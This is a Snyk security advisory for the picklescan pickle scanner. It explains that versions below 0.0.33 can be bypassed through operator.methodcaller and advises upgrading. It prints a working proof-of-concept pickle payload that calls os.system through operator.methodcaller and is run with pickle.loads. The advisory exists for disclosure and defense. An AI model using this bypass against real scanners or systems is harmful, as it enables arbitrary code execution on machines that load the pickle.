Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Deserialization of Untrusted Data vulnerabilities in an interactive lesson.
Start learningUpgrade picklescan to version 0.0.33 or higher.
picklescan is a Security scanner detecting Python Pickle files performing suspicious actions
Affected versions of this package are vulnerable to Deserialization of Untrusted Data via the operator.methodcaller function, which is a built-in Python library function used to execute a remote pickle file. An attacker can execute arbitrary code by crafting a malicious pickle file that bypasses detection and is subsequently loaded.
import pickle
import pickletools
opcode1 = b'''cbuiltins
__import__
(Vos
tRp0
0coperator
methodcaller
(Vsystem
Vecho "pwned by operator.methodcaller"
tR(g0
tR.'''
pickletools.dis(opcode1)
pickle.loads(opcode1)